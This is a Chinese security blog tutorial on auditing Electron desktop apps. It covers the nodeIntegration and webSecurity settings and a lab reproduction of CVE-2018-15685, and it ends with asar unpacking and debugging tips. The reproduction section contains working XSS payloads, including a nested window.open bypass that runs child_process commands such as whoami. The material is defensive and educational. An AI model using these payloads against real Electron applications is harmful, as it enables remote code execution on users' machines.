点击蓝字
关注我们
最近被 XMind 2020 XSS 导致远程代码执行的漏洞所吸引,复现过程比较简单,于是想研究一下漏洞造成的原因,因为 XMind 属于 electorn 程序,其中应用了很多 Web 前端技术,然后就发现自己什么也看不懂。所以后面收集了很多知识,构成了这篇文章,相信看完这篇文章后,大家会对 electorn 审计有大概的思路。
Electron 基于 Chromium 和 Node.js ,是一个通过使用 JavaScript, HTML 和 CSS 来创建桌面应用程序的框架。 这些应用程序可以打包后在 macOS、Windows 和 Linux 上直接运行。所以 Electron 被称之为“跨平台桌面浏览器”。
nodeIntegration 是用来隔离不受信任的资源,如来自不受信任的远程服务器的代码在本地被执行,将会造成安全问题。
例如在默认的 BrowserWindow
中显示一个远程网站。如果攻击者以某种方式设法改变所述内容 (通过直接攻击源或者通过在应用和实际目的地之间进行攻击) ,他们将能够在用户的机器上执行本地代码。
拆分下 nodeIntegration 来理解一下, node 指的是 Node.js , integration 英文是集成的意思,在 Electron 中默认 nodeIntergration 为 False,表示禁用 Node.js 集成,这样可以有助于防止XSS攻击升级为“远程代码执行” (RCE) 攻击。
官方的指导方法如下:
// 不推荐
const mainWindow = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
nodeIntegrationInWorker: true
}
})
mainWindow.loadURL('https://example.com')
// 推荐
const mainWindow = new BrowserWindow({
webPreferences: {
preload: path.join(app.getAppPath(), 'preload.js')
}
})
mainWindow.loadURL('https://example.com')
<!-- Bad -->
<webview nodeIntegration src="page.html"></webview>
<!-- Good -->
<webview src="page.html"></webview>
WebSecurity 中包括同源策略的设置, WebSecurity 默认值为 True ,即打开状态。
如果禁用 WebSecurity 将会禁止同源策略并且将 allowRunningInsecureContent
属性置 true
。 换句话说,这将使得来自其他站点的非安全代码被执行。
官方推荐的一些配置:
// 不推荐
const mainWindow = new BrowserWindow({
webPreferences: {
webSecurity: false
}
})
// 推荐
const mainWindow = new BrowserWindow()
<!-- Bad -->
<webview disablewebsecurity src="page.html"></webview>
<!-- Good -->
<webview src="page.html"></webview>
历史上出现过两个 nodeIntegration 绕过漏洞,编号分别为CVE-2018-15685,CVE-2018-1000136。
WebPreferences Vulnerability 远程代码执行漏洞。
影响版本:3.0.0-beta.6、2.0.7、 1.8.7 、1.7.15
在该漏洞版本中,创建的每个窗口都设置了以下属性:
win.webPreferences = {
allowRunningInsecureContent: false,
contextIsolation: true,
nodeIntegration: false,
nativeWindowOpen: true
}
可以看到也禁止了 Node.js 继承,但问题在于窗口的属性无法通过嵌套窗口和iframe正确地继承,而且嵌套窗口和 iframe 中的默认设置没有禁止 Node.js 继承,所以通过嵌套窗口或者使用 iframe 就可以绕过 nodeIntegration 的限制导致远程代码执行。
这里使用 vulhub 复现方便一点。
1)环境搭建
执行如下命令编译一个包含漏洞的应用:
docker-compose run -e PLATFORM=win64 --rm electron
其中PLATFORM的值是运行该应用的操作系统,可选项有:win64
、win32
、mac
、linux
。
编译完成后,再执行如下命令,启动web服务:
docker-compose run --rm -p 8080:80 web
此时,访问http://your-ip:8080/cve-2018-15685.tar.gz
即可下载编译好的应用。
2)复现过程
打开漏洞 electron 程序,界面如下,输入的内容会被显示在程序页面中:
简单验证发现存在 XSS 漏洞
构造一条命令执行,发现程序没有任何反馈,因为程序默认设置了 nodeIntegration=false
<img src=x onerror="const exec = require('child_process').exec;exec('id').stdout.on('data', function (data) {alert(data);})">
通过 window.open().open() 其实相当于打开了一个子窗口,在子窗口下再打一个子窗口。(打开一个子窗口不够)
<img src=x onerror="window.open().open('data:text/html,<script>const exec = require(\'child_process\').exec;exec(\'whoami\').stdout.on(\'data\', function (data) {alert(data);})</script>')">
效果如下:
这是官方的修复文档:https://www.electronjs.org/blog/web-preferences-fix ,修复方案是强制将顶层windows webPreferences 应用于无限深的所有子窗口。这样再多少个 open 也没有用了
electron 应用打包为程序后源代码在 Content/Resources/app 目录下:
Electron 还提供了一个 npm 软件包 asar 来管理这些文件,可以将源码压缩保存,后缀为 asar。我们平时下载到的 electron 应用源码基本都会用这个格式保存,下面记录下解包的方法。
1)安装好npm
新版本的Node.js中自动集成了npm,npm是JS的包管理器。在 mac 中可以使用下面的命令安装 Node.js:
$ brew install node
2)安装asar
$ npm install asar -g
3)解包命令
以macOS平台为例,在xxx.app/Contents/Resources下找到app.asar
$ asar e app.asar <输出目录>
这里输出目录最好固定为 app ,这样在封装时避免出错。
解包后就可以正常开始审计代码了。
如果对文件有修改后想重新封装使用如下命令:
$ asar p <源码目录> app.asar
electron有主进程和渲染进程,所以调试部分也分为两大块,即调试主进程和渲染进程。
调试渲染进程和调试浏览器的方法基本差不多。在运行electron 应用之后可以通过下面两种方式打开调试工具。
在导航栏:View->Toogle Developer Tools
image-20210513182926259.png
但是该方法局限性比较大,很多软件并不会把调试工具放在导航栏中。
在主进程(一般默认的就是main.js)中使用 const mainWindow = new BrowserWindow
实例化窗口的时候,加上如下一句功能代码:
// Open the DevTools.
mainWindow.webContents.openDevTools();
一定要注意添加的位置:
其中 openDevTools 可以接受一个参数,这个参数是个配置对象,一般会根据自己开发习惯在里面配置控制台打开的方向。当然也可以在控制台打开之后自己调整。
mainWindow.webContents.openDevTools({
mode:'bottom'
});
最终效果如下:
可以发现的是在调试渲染进程时是找不到 js 文件的。(谷歌调试找文件的快捷键:cmd+p)
1)使用 --inspect=[port]
来设置一个运行端口,比如在 package.json 中配置如下脚本
"scripts": {
"start": "electron --inspect=5858 .",
}
然后在目录下进入终端输入: npm run start
。
2)浏览器输入:chrome://inspect,点击下方 inspect
可以发现调试的全是 js 文件:
在上面看到调试 electron 还是比较麻烦的,这里推荐一个软件 debugtron 。
首先 debugtron 就会展示系统中已经安装的 electron 软件,可以看到我们日常使用的很多软件都是 electron,对于没有检测出来的 electron 软件,直接将软件拖入 debugtron 也可以了。
这里简单看下使用方法,我把测试软件拖入 electron 后,程序会被自动打开,面板左侧会显示可调试的会话列表,包括主进程和渲染进程,可以根据标签来区分。右侧会显示主进程启动的日志:
参考:
Electron的安全策略,参考官方文档:https://www.bookstack.cn/read/electron-10-zh/tutorial-security.md
CVE-2018-15685参考:https://www.contrastsecurity.com/security-influencers/cve-2018-15685、
https://xz.aliyun.com/t/2640
electron 代码审计:https://www.cnblogs.com/Mang0/p/13269450.html、https://xz.aliyun.com/t/6998#toc-2[1]
electron 调试:https://www.electronjs.org/docs/tutorial/debugging-main-process,https://blog.csdn.net/weixin_38080573/article/details/105048111[2]
debugtron:https://github.com/bytedance/debugtron
[1]
https://www.cnblogs.com/Mang0/p/13269450.html、https://xz.aliyun.com/t/6998#toc-2: https://www.cnblogs.com/Mang0/p/13269450.html%E3%80%81https://xz.aliyun.com/t/6998#toc-2[2]
https://www.electronjs.org/docs/tutorial/debugging-main-process,https://blog.csdn.net/weixin_38080573/article/details/105048111: https://www.electronjs.org/docs/tutorial/debugging-main-process%EF%BC%8Chttps://blog.csdn.net/weixin_38080573/article/details/105048111
扫二维码|关注我们
secquan圈子社区
汇聚新锐,共同进步
社区投稿&加入我们:[email protected]